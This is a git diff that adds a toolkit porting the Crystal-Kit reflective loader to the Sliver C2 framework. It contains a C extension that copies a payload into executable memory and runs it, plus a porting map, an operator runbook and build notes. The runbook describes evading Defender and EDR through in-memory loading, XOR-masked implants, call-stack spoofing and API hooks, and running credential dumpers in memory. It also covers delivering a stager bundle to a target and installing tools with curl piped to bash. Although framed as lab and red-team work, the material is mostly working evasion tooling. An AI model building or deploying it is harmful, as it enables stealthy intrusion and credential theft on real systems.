+typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +void BeaconDataParse(datap * parser, char * buffer, int size); +int BeaconDataInt(datap * parser); +short BeaconDataShort(datap * parser); +int BeaconDataLength(datap * parser); +char * BeaconDataExtract(datap * parser, int * size); + +void BeaconFormatAlloc(formatp * format, int maxsz); +void BeaconFormatReset(formatp * format); +void BeaconFormatFree(formatp * format); +void BeaconFormatAppend(formatp * format, char * text, int len); +void BeaconFormatPrintf(formatp * format, char * fmt, ...); +char * BeaconFormatToString(formatp * format, int * size); +void BeaconFormatInt(formatp * format, int value); + +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_ERROR 0x0d +#define CALLBACK_OUTPUT_UTF8 0x20 + + +void BeaconPrintf(int type, char * fmt, ...); +void BeaconOutput(int type, char * data, int len); + +/* Token Functions */ +BOOL BeaconUseToken(HANDLE token); +void BeaconRevertToken(); +BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo); +void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +BOOL toWideChar(char * src, wchar_t * dst, int max); +uint32_t swap_endianess(uint32_t indata); + +char* BeaconGetOutputData(int *outsize); +#endif diff --git a/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c b/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c new file mode 100644 index 0000000..4759721 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c @@ -0,0 +1,103 @@ +/* + * crystal-loader.c + * + * Sliver Extension DLL that loads and executes a Crystal Palace PICO blob + * inside the Sliver implant memory. + * + * Sliver Extension entrypoint contract (matches COFFLoader's LoadAndRun): + * int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback) + * + * argsBuffer layout (BeaconData serialization, single extract): + * [pico_len: int32_le][pico_bytes: pico_len] + * + * PICO entrypoint convention: + * The PICO is produced from postex-loader/loader.spec which uses + * '+gofirst' so the symbol 'go' is placed at offset 0. The signature + * matches postex-loader/src/loader.c:75: + * void go(void * loader_arguments); + * loader_arguments is unused after the Xenon patch (CS-specific path + * commented out) — we pass NULL. + * + * Copyright (c) 2026 Simone Licitra + * Licensed under the MIT License (see ../../../LICENSE). + */ + +#include +#include +#include + +#include "beacon_compatibility.h" + +#ifndef EXPORT +#define EXPORT __declspec(dllexport) +#endif + +typedef int (*goCallback)(char *, int); +typedef void (*pico_entry_t)(void *); + +static void emit(goCallback cb, const char *msg) +{ + if (cb == NULL) return; + cb((char *)msg, (int)strlen(msg)); +} + +EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback) +{ + datap parser; + int pico_size = 0; + unsigned char *pico_data = NULL; + + if (argsBuffer == NULL || bufferSize == 0) { + emit(callback, "[crystal-loader] error: empty argsBuffer\n"); + return 1; + } + + BeaconDataParse(&parser, argsBuffer, (int)bufferSize); + + pico_data = (unsigned char *)BeaconDataExtract(&parser, &pico_size); + if (pico_data == NULL || pico_size <= 0) { + emit(callback, "[crystal-loader] error: no PICO blob in arguments\n"); + return 2; + } + + /* + * Allocate RWX. The PICO does its own VirtualProtect calls internally + * (see postex-loader/src/loader.c fix_section_permissions). Starting + * RWX simplifies the bootstrap; the PICO will lock down permissions + * per-section as it loads the embedded DLL. + */ + void *pico_mem = VirtualAlloc( + NULL, + (SIZE_T)pico_size, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE + ); + if (pico_mem == NULL) { + emit(callback, "[crystal-loader] error: VirtualAlloc failed\n"); + return 3; + } + + memcpy(pico_mem, pico_data, (size_t)pico_size); + + emit(callback, "[crystal-loader] executing PICO\n"); + + pico_entry_t entry = (pico_entry_t)pico_mem; + entry(NULL); + + /* + * Intentionally NOT freeing pico_mem. Crystal Palace's loader chain + * keeps hooks, sleep mask and Draugr stack-spoof resident next to + * the loaded DLL for the entire beacon lifetime. + */ + + emit(callback, "[crystal-loader] PICO returned\n"); + return 0; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) +{ + (void)hinstDLL; + (void)lpvReserved; + (void)fdwReason; + return TRUE; +} diff --git a/crystal-kit-sliver/sliver-glue/wrapper/smoketest.asm b/crystal-kit-sliver/sliver-glue/wrapper/smoketest.asm new file mode 100644 index 0000000..5df4ef6 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/wrapper/smoketest.asm @@ -0,0 +1,18 @@ +; smoketest.asm +; +; Minimal x64 shellcode used to validate the crystal-loader.x64.dll wrapper +; on a Sliver implant WITHOUT depending on Crystal Palace. +; +; Signature expected by the wrapper: void entry(void* unused). +; This shellcode immediately returns, so the wrapper's plumbing +; (BeaconDataParse + VirtualAlloc + exec + return) can be exercised +; end-to-end on a Windows lab target. +; +; Build: nasm -f bin smoketest.asm -o smoketest.bin + +BITS 64 + +_start: + ; Microsoft x64 ABI: first arg in RCX (unused here). + xor eax, eax ; return 0 + ret diff --git a/docs/PORTING_MAP.md b/docs/PORTING_MAP.md new file mode 100644 index 0000000..77bc166 --- /dev/null +++ b/docs/PORTING_MAP.md @@ -0,0 +1,199 @@ +# Porting Map — Crystal-Kit → crystal-kit-sliver + +File-by-file mapping of upstream sources to this repository, with the literal Xenon-style patch applied to `postex-loader/`. Read this together with the project README before modifying any file under `loader/` or `postex-loader/`. + +**Verified upstreams (snapshot @ 2026-04-03):** + +- `rasta-mouse/Crystal-Kit` (MIT) — base implementation for Cobalt Strike +- `nickswink/Crystal-Kit-Xenon` (MIT) — cross-C2 patch template for Mythic Xenon, applies 1:1 to Sliver + +## 1. Inventory and action per file + +### `loader/` (main reflective loader — Use case A) + +Every file is a **verbatim copy** of the same path in `rasta-mouse/Crystal-Kit/loader/`. No modifications. + +| File | Action | +|---|---| +| `Makefile` | copy 1:1 | +| `loader.spec` | copy 1:1 | +| `local-loader.spec` | copy 1:1 | +| `pico.spec` | copy 1:1 | +| `src/loader.c` + `loader.h` | copy 1:1 | +| `src/services.c` | copy 1:1 | +| `src/hooks.c` | copy 1:1 | +| `src/spoof.c` + `spoof.h` | copy 1:1 | +| `src/mask.c` + `mask.h` | copy 1:1 | +| `src/cleanup.c` + `cleanup.h` | copy 1:1 | +| `src/cfg.c` + `cfg.h` | copy 1:1 | +| `src/pico.c` | copy 1:1 | +| `src/draugr.asm` | copy 1:1 | +| `src/memory.h`, `tcg.h` | copy 1:1 | + +### `postex-loader/` (post-ex loader — Use case B) + +Copied from `rasta-mouse/Crystal-Kit/postex-loader/` with **two patched files**. The patches are identical to `nickswink/Crystal-Kit-Xenon/postex-loader/` and replace Cobalt-Strike-specific glue with the Sliver-compatible variant. + +| File | Action | +|---|---| +| `Makefile` | copy 1:1 | +| `loader.spec` | **patched** (§2.1) | +| `pico.spec` | copy 1:1 | +| `src/loader.c` | **patched** (§2.2) | +| `src/loader.h` | copy 1:1 | +| `src/services.c`, `hooks.c`, `spoof.c` + `.h`, `draugr.asm` | copy 1:1 | +| `src/cleanup.c` + `.h`, `cfg.c` + `.h`, `pico.c` | copy 1:1 | +| `src/hash.h` | copy 1:1 (ror13 constants) | +| `src/memory.h`, `tcg.h` | copy 1:1 | + +### Root-level upstream files + +| File | Action | Note | +|---|---|---| +| `Makefile` (top-level) | not copied | upstream version only chains into `loader/` and `postex-loader/`; replaced by our `sliver-glue/Makefile` | +| `README.md` | replaced | new README in repo root + per-project README under `crystal-kit-sliver/` | +| `LICENSE` | replaced | new MIT LICENSE under Simone Licitra; upstream rasta-mouse and nickswink MIT notices preserved in `NOTICE.md` | +| `crystalkit.cna` | **NOT copied** | Aggressor Script is Cobalt-Strike-only; replaced by `sliver-glue/extension.json` + scripts | +| `crystalkit.yar` | not copied (optional) | YARA self-detection rule; can be regenerated with Crystal Palace `-g` flag if needed | +| `libtcg.x64.zip` | kept in tree | binary dependency referenced as `../libtcg.x64.zip` by both spec files; located at `crystal-kit-sliver/libtcg.x64.zip` | +| `.gitattributes`, `.gitignore` | replaced | repo-specific | + +## 2. Literal patches in `postex-loader/` + +Both patches are byte-identical to `nickswink/Crystal-Kit-Xenon` and verified locally with `diff -u`. + +### 2.1 `postex-loader/loader.spec` + +```diff +--- crystal-kit/postex-loader/loader.spec ++++ crystal-kit-sliver/postex-loader/loader.spec +@@ -6,13 +6,9 @@ + load "bin/services.x64.o" + merge + +- dfr "patch_resolve" "strings" ++ dfr "patch_resolve" "ror13" + mergelib "../libtcg.x64.zip" + +- # patch smart pointers in +- patch "get_module_handle" $GMH +- patch "get_proc_address" $GPA +- + # merge hooks into the loader + load "bin/hooks.x64.o" + merge +@@ -42,6 +38,11 @@ + preplen + link "mask" + ++ # DLL Args from File ++ load %ARGFILE ++ preplen ++ link "dll_args" ++ + # now get the tradecraft as a PICO + run "pico.spec" + link "pico" +``` + +**Per-line rationale:** + +| Line change | Why | +|---|---| +| `dfr "patch_resolve" "strings"` → `"ror13"` | Cobalt Strike injects pre-resolved smart pointers (`$GMH`, `$GPA`) at build time, so `strings` mode is fine there. Sliver does not, so we need runtime ror13 hash resolution. | +| `patch "get_module_handle" $GMH` | Removed. `$GMH` is a CS smart pointer; Sliver has nothing equivalent. | +| `patch "get_proc_address" $GPA` | Removed. Same reason as above for `$GPA`. | +| `load %ARGFILE … link "dll_args"` | Added. The post-ex DLL's runtime arguments are baked into a `dll_args` section at link time, read by the loader via `GETRESOURCE` at execution. | + +### 2.2 `postex-loader/src/loader.c` + +```diff +--- crystal-kit/postex-loader/src/loader.c (139 lines) ++++ crystal-kit-sliver/postex-loader/src/loader.c (143 lines) +@@ -10,6 +10,7 @@ + char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) ); + char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) ); + char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) ); ++char _DLLARGS_ [ 0 ] __attribute__ ( ( section ( "dll_args" ) ) ); + + int __tag_setup_hooks ( ); + int __tag_setup_memory ( ); + +@@ -132,9 +133,12 @@ + /* now run the DLL */ + DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); + ++ /* Pointer to DLL arguments */ ++ char * dll_arguments = GETRESOURCE ( _DLLARGS_ ); ++ + /* free the unmasked copy */ + KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); + +- entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); +- entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, loader_arguments ); ++ entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, dll_arguments ); ++ // entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL ); + } +``` + +**Per-line rationale:** + +| Line | Why | +|---|---| +| `_DLLARGS_` section attribute | Declares an empty 0-length array tied to the `dll_args` section so the linker can emit a symbol the loader can address. | +| `dll_arguments = GETRESOURCE(_DLLARGS_)` | Reads the section data at runtime. `GETRESOURCE` is a macro defined in `memory.h` (upstream). | +| `DllMain(... , dll_arguments)` | Forwards the embedded arguments as `lpReserved` of `DllMain`. The wrapped DLL can ignore them or parse them. | +| Second `entry_point(... , 0x4, loader_arguments)` commented out | Reason code `0x4` is a Beacon-specific second entrypoint used by Cobalt Strike post-ex DLLs (e.g. `RDLL_GENERATE` callback). Sliver does not need it. | + +**Whitespace note:** the `dll_arguments` line in the Xenon fork uses a TAB instead of 4 spaces, and the file has no trailing newline. Preserved verbatim for byte-identity with the upstream fork. + +## 3. CS-specific concepts → Sliver mapping + +| Cobalt Strike concept | Where it lives in CS | Sliver equivalent | +|---|---|---| +| `BEACON_RDLL_GENERATE` Aggressor hook | Server-side script run during stager generation | Build-time wrapper script: `sliver-glue/generate-implant.sh` | +| `POSTEX_RDLL_GENERATE` Aggressor hook | Server-side script run during post-ex DLL generation | Build-time wrapper script: `sliver-glue/generate.sh` | +| `BEACON_RDLL_GENERATE_LOCAL` | Stageless variant | Same script with `--profile` mode (or `--dll`) | +| `$GMH` smart pointer (kernel32!GetModuleHandleA) | Injected at build time | None — resolved at runtime via ror13 hash | +| `$GPA` smart pointer (kernel32!GetProcAddress) | Injected at build time | None — same as above | +| `$DLL` | Beacon DLL passed by CS server | Sliver implant DLL passed by `generate-implant.sh` | +| `$MASK` | XOR key generated by Crystal Palace | Identical — generated in `.spec` with `generate $MASK 128` | +| `%ARGFILE` (introduced by Xenon) | Path to args file at build time | Identical — passed as positional `%ARGFILE=...` to `./link` | +| `DllMain` reason `0x4` | CS Beacon post-ex second call | Inexistent on Sliver — commented out in `loader.c` | + +## 4. Sliver Extension model + +The post-ex pipeline (Use case B) produces a PICO `.bin`, but Sliver Extensions are loaded as DLLs into the implant runtime. The bridge is `crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c`: + +- exports a single function `go(char *argsBuffer, uint32_t bufferSize, goCallback callback)` matching COFFLoader's `LoadAndRun` signature +- parses `argsBuffer` via `BeaconDataParse` / `BeaconDataExtract` (BOF compatibility layer from TrustedSec COFFLoader, BSD-3-Clause) +- allocates RWX memory, copies the PICO blob, jumps to offset 0 (the `+gofirst` flag in `loader.spec` guarantees the `go` symbol lands there) + +The manifest `crystal-kit-sliver/sliver-glue/extension.json` declares: + +```json +{ + "name": "crystal-loader", + "command_name": "crystal", + "entrypoint": "go", + "files": [{"os":"windows","arch":"amd64","path":"crystal-loader.x64.dll"}], + "arguments": [{"name":"payload","type":"file","optional":false}] +} +``` + +Schema validated against the live `sliverarmory/CredManBOF` and `sliverarmory/COFFLoader` manifests at the time of writing. + +## 5. Files that fix at packaging time + +| Sliver-glue file | Produced by | Consumed by | +|---|---|---| +| `crystal-loader.x64.dll` | `sliver-glue/wrapper/Makefile` | Sliver implant runtime | +| `crystal-loader-0.1.0.tar.gz` | `sliver-glue/pack-extension.sh` | Sliver client `extensions install` | +| `.crystal.bin` (PICO) | `sliver-glue/generate-implant.sh` or `generate.sh` | Crystal Palace stager (`run.x64.exe`) or `crystal` Sliver command | +| `drop.zip` | `sliver-glue/bundle-implant.sh` | Operator manual delivery to target | + +## 6. Attribution checklist (required by upstream licenses) + +- `NOTICE.md` reproduces copyright notices for rasta-mouse (Crystal-Kit), nickswink (Crystal-Kit-Xenon), TrustedSec (COFFLoader BOF compat), Raphael Mudge / AFF-WG (Crystal Palace), plus bundled iced (MIT) and JSON-java (CC0). +- Source files copied verbatim retain their original copyright headers where present. +- `crystal-loader.c` carries a fresh MIT header (Simone Licitra) since it is newly written. diff --git a/docs/RUNBOOK.md b/docs/RUNBOOK.md new file mode 100644 index 0000000..0b23cf7 --- /dev/null +++ b/docs/RUNBOOK.md @@ -0,0 +1,355 @@ +# Runbook — Operator Procedure (Kali → Windows lab) + +End-to-end procedure to build the kit on Kali and execute on a Windows x64 lab target. Two distinct use cases: + +- **Use case A (PRIMARY)** — implant evasion. The Sliver DLL is wrapped with Crystal Palace into a PICO and delivered with a stager. The raw Sliver DLL never touches disk on the target. +- **Use case B (SECONDARY)** — post-ex evasion. With a session already active, run sensitive DLLs (recon, credential dumpers) through Crystal Palace via the Sliver Extension. + +The two flows share the same build pipeline and Crystal Palace distribution but produce different artifacts. + +--- + +## Phase 0 — One-time setup on Kali + +### 0.1 Install toolchain + +```bash +sudo apt update +sudo apt install -y mingw-w64 nasm default-jdk make zip git curl +``` + +Verify: + +```bash +x86_64-w64-mingw32-gcc --version | head -1 # MinGW-w64 GCC +nasm --version # >= 2.15 +java -version # >= 11 +``` + +### 0.2 Get the repo on Kali + +(Whatever transfer method you chose: `rsync`, USB, private Git remote, etc.) + +```bash +cd ~/crystal-kit-sliver +ls # should see README.md, crystal-kit-sliver/, docs/, LICENSE, NOTICE.md +``` + +### 0.3 Download Crystal Palace dist (BSD, Raphael Mudge) + +```bash +mkdir -p external/crystalpalace +curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \ + | tar -xz -C external/crystalpalace/ +chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve} +export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist +``` + +Sanity check: + +```bash +ls "$CRYSTAL_PALACE_HOME"/crystalpalace.jar +"$CRYSTAL_PALACE_HOME"/link 2>&1 | head -3 +``` + +Expected: `Usage: ./link ...` + +### 0.4 Get `libtcg.x64.zip` from upstream Crystal-Kit + +```bash +git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit /tmp/ck +cp /tmp/ck/libtcg.x64.zip crystal-kit-sliver/ +rm -rf /tmp/ck +ls -la crystal-kit-sliver/libtcg.x64.zip +``` + +### 0.5 Install Sliver + +```bash +curl https://sliver.sh/install | sudo bash +sudo systemctl enable --now sliver +sliver-server +``` + +Inside the `sliver-server` console: + +``` +[server] sliver > new-operator --name operator1 --lhost +# saves operator1_.cfg in the working dir +[server] sliver > exit +``` + +In another terminal: + +```bash +sliver-client import ./operator1_.cfg +sliver-client +``` + +### 0.6 Prepare the Windows VM + +- Windows 10/11 x64, isolated network with the Kali host +- Defender disabled or with the build dir excluded **only for the first smoke test** (to factor out detection from the wrapper plumbing) +- Network reachability from VM → Kali on the listener port you'll use (80 by default) + +--- + +## Phase 1 — Smoke test (validate the wrapper, no Crystal Palace yet) + +Goal: prove that the `crystal-loader.x64.dll` Sliver Extension loads inside the implant and executes an arbitrary shellcode passed as argument. Does **not** require `crystalpalace.jar`. + +### 1.1 Build the wrapper + smoke shellcode + +```bash +cd crystal-kit-sliver/sliver-glue +make -C wrapper all +make -C wrapper smoketest +./pack-extension.sh +ls -la build/ +``` + +Expected files: + +- `crystal-loader.x64.dll` (~114 KB, in `sliver-glue/` parent) +- `build/smoketest.bin` (3 bytes: `31 c0 c3` = `xor eax,eax; ret`) +- `build/crystal-loader-0.1.0.tar.gz` (~37 KB) + +### 1.2 Start an HTTP listener + +In the Sliver client: + +``` +sliver > http -L 0.0.0.0 -l 80 +[*] Started HTTP listener (job 1) +``` + +### 1.3 Generate a standard (unwrapped) Sliver implant for the smoke test + +For Phase 1 only, we want a working implant **without** Crystal Palace so we can isolate the Extension's behaviour from any loader issue. + +``` +sliver > profiles new --http :80 --format shared smoke +sliver > profiles generate --profile smoke --save /tmp/smoke.dll +``` + +### 1.4 Run the implant on the Windows VM + +Copy `/tmp/smoke.dll` to the VM and load it: + +```cmd +C:\> rundll32.exe smoke.dll,RunDLL +``` + +Wait for the session in the Sliver console: + +``` +[*] Session 1 - WIN10-LAB ... +sliver > use 1 +sliver (WIN10-LAB) > +``` + +### 1.5 Install the Extension and run the smoke test + +``` +sliver (WIN10-LAB) > extensions install ./crystal-kit-sliver/sliver-glue/build/crystal-loader-0.1.0.tar.gz +[*] Installed extension: crystal-loader + +sliver (WIN10-LAB) > crystal payload=./crystal-kit-sliver/sliver-glue/build/smoketest.bin +[crystal-loader] executing PICO +[crystal-loader] PICO returned +``` + +If you see those two lines and the implant survives, the Extension plumbing works end-to-end. + +### 1.6 Common Phase 1 failures + +| Symptom | Likely cause | Fix | +|---|---|---| +| `extensions install` fails with JSON error | Manifest schema drift | Compare `extension.json` against a live armory extension (e.g. `sliverarmory/COFFLoader`) | +| `crystal` command not registered | Silent install failure | `extensions list` — if absent, re-run install with `--force` | +| Implant crashes immediately | `"file"` argument type not handled the way we assume | Switch the manifest arg to `"string"`, upload payload via `upload`, pass target-side path | +| `[crystal-loader]` output never appears | `BeaconOutput` callback not routed | Check Sliver server logs at `~/.sliver/logs/sliver.log` | + +--- + +## Phase 2 — Use case A (implant evasion, primary) + +Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the bundled stager. Defender / EDR sees only the stager and a position-independent blob; the actual Sliver DLL is XOR-masked inside the PICO until runtime unmask. + +### 2.1 Build Crystal-Kit objects + +```bash +cd crystal-kit-sliver +make -C loader all +make -C postex-loader all # technically optional for Phase 2, useful for Phase 3 +``` + +Expected: `loader/bin/` has 8 `.o` + 1 `.bin`. + +### 2.2 Generate a fresh Sliver implant DLL + +``` +sliver > profiles new --http :80 --format shared prod +sliver > profiles generate --profile prod --save /tmp/prod.dll +``` + +`--format shared` produces a raw DLL (not shellcode-packed) — Crystal Palace needs the DLL form. + +### 2.3 Wrap with Crystal Palace + +```bash +./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /tmp/prod.dll \ + crystal-kit-sliver/sliver-glue/build/prod.crystal.bin +``` + +Expected output: PICO ~110-120 KB, written to `build/prod.crystal.bin`. + +### 2.4 Bundle with the stager + +```bash +./crystal-kit-sliver/sliver-glue/bundle-implant.sh \ + crystal-kit-sliver/sliver-glue/build/prod.crystal.bin \ + crystal-kit-sliver/sliver-glue/build/drop.zip +``` + +Resulting `drop.zip` (~180 KB) contains: + +- `run.x64.exe` (Crystal Palace stager, BSD) +- `prod.crystal.bin` (your PICO) +- `README.txt` (operator notes) + +### 2.5 Drop on the Windows VM + +Transfer `drop.zip` to the VM through the channel that matches your engagement (scp from operator, USB, SMB share, HTTP serving, etc.). Extract and execute: + +```cmd +C:\Users\Public> unzip drop.zip +C:\Users\Public> run.x64.exe prod.crystal.bin +``` + +Execution order inside `run.x64.exe`: + +1. `run.x64.exe` reads `prod.crystal.bin` into RWX memory +2. Jumps to offset 0 of the PICO (Crystal Palace `+gofirst` guarantees `go` is there) +3. Crystal Palace loader resolves the Win32 APIs it needs via ror13 hashing +4. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA` +5. Installs Draugr call-stack spoof +6. Unmasks (XOR) the embedded Sliver DLL +7. Calls Sliver's `DllMain(DLL_PROCESS_ATTACH)` +8. Sliver implant initializes and beacons home + +On the Sliver console: + +``` +[*] Session 2 - WIN10-LAB ... +sliver > use 2 +sliver (WIN10-LAB) > whoami +``` + +### 2.6 Iteration: measure detection + +- Re-enable Defender / EDR before subsequent tests +- Use `external/crystalpalace/dist/link ... -g out.yar` to generate YARA rules against your build, useful for guessing the EDR signature surface +- Tweak the `.spec` (e.g. remove `mergelib libtcg.x64.zip` for a leaner build, or swap Draugr for a no-op) and rebuild + +--- + +## Phase 3 — Use case B (post-ex evasion, secondary) + +Prerequisite: an active session (from Phase 1, Phase 2, or any other vector). + +### 3.1 Build a post-ex DLL + +Either yours or a public one (e.g. a recon DLL, a credential dumper, a custom enumerator). Must be Windows x64 and export `DllMain`. Args may be empty or required depending on the DLL. + +### 3.2 Wrap with Crystal Palace + +```bash +echo "" > /tmp/empty.args # or actual args specific to your DLL +./crystal-kit-sliver/sliver-glue/generate.sh \ + /path/to/postex.dll \ + /tmp/empty.args \ + crystal-kit-sliver/sliver-glue/build/postex.pico.bin +``` + +Args are baked into the PICO at link time (Xenon-style `%ARGFILE`). + +### 3.3 Install the Sliver Extension (one-time) + +If not already done in Phase 1: + +``` +sliver (WIN10-LAB) > extensions install ./crystal-kit-sliver/sliver-glue/build/crystal-loader-0.1.0.tar.gz +``` + +### 3.4 Execute the post-ex PICO + +``` +sliver (WIN10-LAB) > crystal payload=./crystal-kit-sliver/sliver-glue/build/postex.pico.bin +[crystal-loader] executing PICO +... (your DLL's output via BeaconPrintf) +[crystal-loader] PICO returned +``` + +--- + +## Phase 4 — Cleanup / rollback + +End-of-engagement: + +``` +sliver > extensions remove crystal-loader +sliver > sessions kill +sliver > jobs kill +``` + +Windows VM: + +```cmd +C:\> taskkill /F /IM run.x64.exe +``` + +Local Kali build artifacts: + +```bash +make -C crystal-kit-sliver/loader clean +make -C crystal-kit-sliver/postex-loader clean +make -C crystal-kit-sliver/sliver-glue/wrapper clean +rm -rf crystal-kit-sliver/sliver-glue/build +``` + +--- + +## Quick smoke test on Kali (sanity check before going to the lab) + +Run this end-to-end from a freshly cloned repo. Should complete in under 30 seconds without errors and without an actual Sliver implant DLL: + +```bash +cd ~/crystal-kit-sliver +export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist + +make -C crystal-kit-sliver/loader all +make -C crystal-kit-sliver/postex-loader all +make -C crystal-kit-sliver/sliver-glue/wrapper all +make -C crystal-kit-sliver/sliver-glue/wrapper smoketest + +echo "" > /tmp/empty.args +./crystal-kit-sliver/sliver-glue/generate.sh \ + external/crystalpalace/dist/demo/test.x64.dll \ + /tmp/empty.args \ + crystal-kit-sliver/sliver-glue/build/test-postex.pico.bin + +./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll \ + external/crystalpalace/dist/demo/test.x64.dll \ + crystal-kit-sliver/sliver-glue/build/test-implant.bin + +./crystal-kit-sliver/sliver-glue/bundle-implant.sh \ + crystal-kit-sliver/sliver-glue/build/test-implant.bin \ + crystal-kit-sliver/sliver-glue/build/test-drop.zip + +./crystal-kit-sliver/sliver-glue/pack-extension.sh + +ls -la crystal-kit-sliver/sliver-glue/build/ +``` + +If all four artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-drop.zip`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional. diff --git a/docs/TOOLCHAIN.md b/docs/TOOLCHAIN.md new file mode 100644 index 0000000..c9edea3 --- /dev/null +++ b/docs/TOOLCHAIN.md @@ -0,0 +1,167 @@ +# Toolchain & Build Pipeline + +Build prerequisites, verified versions, and the actual pipeline used to produce PICO blobs and the Sliver Extension DLL. + +> Anything marked **verified** was tested locally on macOS Apple Silicon with the listed versions. Linux equivalents (Debian/Ubuntu/Kali) should behave identically. + +## 1. Required tools + +| Tool | Tested version | Purpose | Install (Debian/Kali) | Install (macOS) | +|---|---|---|---|---| +| `x86_64-w64-mingw32-gcc` | MinGW-w64 GCC 15.2.0 | Cross-compile C sources to Windows x64 objects | `apt install mingw-w64` | `brew install mingw-w64` | +| `nasm` | 3.01 | Assemble `draugr.asm` → `draugr.x64.bin` | `apt install nasm` | `brew install nasm` | +| `java` (JRE) | OpenJDK 17 | Execute `crystalpalace.jar` linker | `apt install default-jdk` | `brew install openjdk@17` | +| `make` | GNU Make ≥ 4 | Build orchestration | preinstalled | preinstalled | +| `zip` | any | Pack operator drop bundle | `apt install zip` | preinstalled | +| `curl` | any | Download Crystal Palace dist | preinstalled | preinstalled | + +## 2. External dependencies (not in the repo) + +| Artifact | Source | License | How to obtain | +|---|---|---|---| +| `crystalpalace.jar` + `link` wrapper | | BSD-3-Clause, © 2025 Raphael Mudge / AFF-WG | `curl -fsSL` + `tar -xz` (see §5) | +| `libtcg.x64.zip` | Upstream Crystal-Kit repo | Upstream binary, license unstated (likely derived from QEMU TCG → LGPL/GPL) | `git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit` then copy | +| Sliver server/client | | GPLv3 | `curl https://sliver.sh/install \| sudo bash` | + +`libtcg.x64.zip` is required at build time because `postex-loader/loader.spec` and `loader/loader.spec` both contain `mergelib "../libtcg.x64.zip"`. The file goes at the same level as `loader/` and `postex-loader/` (i.e. inside `crystal-kit-sliver/`). + +## 3. Verified build pipeline + +### 3a. Object compilation (per loader) + +From `crystal-kit-sliver/loader/Makefile` and `crystal-kit-sliver/postex-loader/Makefile`: + +```makefile +CC_64=x86_64-w64-mingw32-gcc +NASM=nasm + +$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o +$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o +$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o +$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o +$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o +$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o +$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o +# loader/ only: +$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o +$(NASM) src/draugr.asm -o bin/draugr.x64.bin +``` + +**Verified outputs:** +- `loader/bin/` → 8 `.o` + 1 `.bin` +- `postex-loader/bin/` → 7 `.o` + 1 `.bin` (no `mask.c`) + +### 3b. Crystal Palace link (PICO production) + +The upstream Aggressor Script invokes the jar via Java reflection. The bundled `link` wrapper exposes a positional CLI: + +``` +./link [A=hex] [%KEY=value] [@config.spec] +``` + +Variables relevant for our specs: + +| Variable | Type | Used in | Purpose | +|---|---|---|---| +| `%ARGFILE` | string (path) | `postex-loader/loader.spec` | File whose contents become the embedded `dll_args` section read by `DllMain` | + +Example invocation: + +```bash +./link \ + crystal-kit-sliver/postex-loader/loader.spec \ + /path/to/postex.dll \ + /path/to/out.bin \ + %ARGFILE=/path/to/args.txt +``` + +**Verified outputs (sizes from local builds):** +- Use case A (`loader/loader.spec` over a Windows DLL) → **117561 bytes** PICO +- Use case B (`postex-loader/loader.spec` over a Windows DLL) → **111741 bytes** PICO + +### 3c. Sliver Extension wrapper DLL + +`crystal-kit-sliver/sliver-glue/wrapper/Makefile`: + +```makefile +CC_64 := x86_64-w64-mingw32-gcc +CFLAGS := -Wall -Os -DBUILD_DLL +LDFLAGS := -shared -Wl,--subsystem,windows + +# Produces 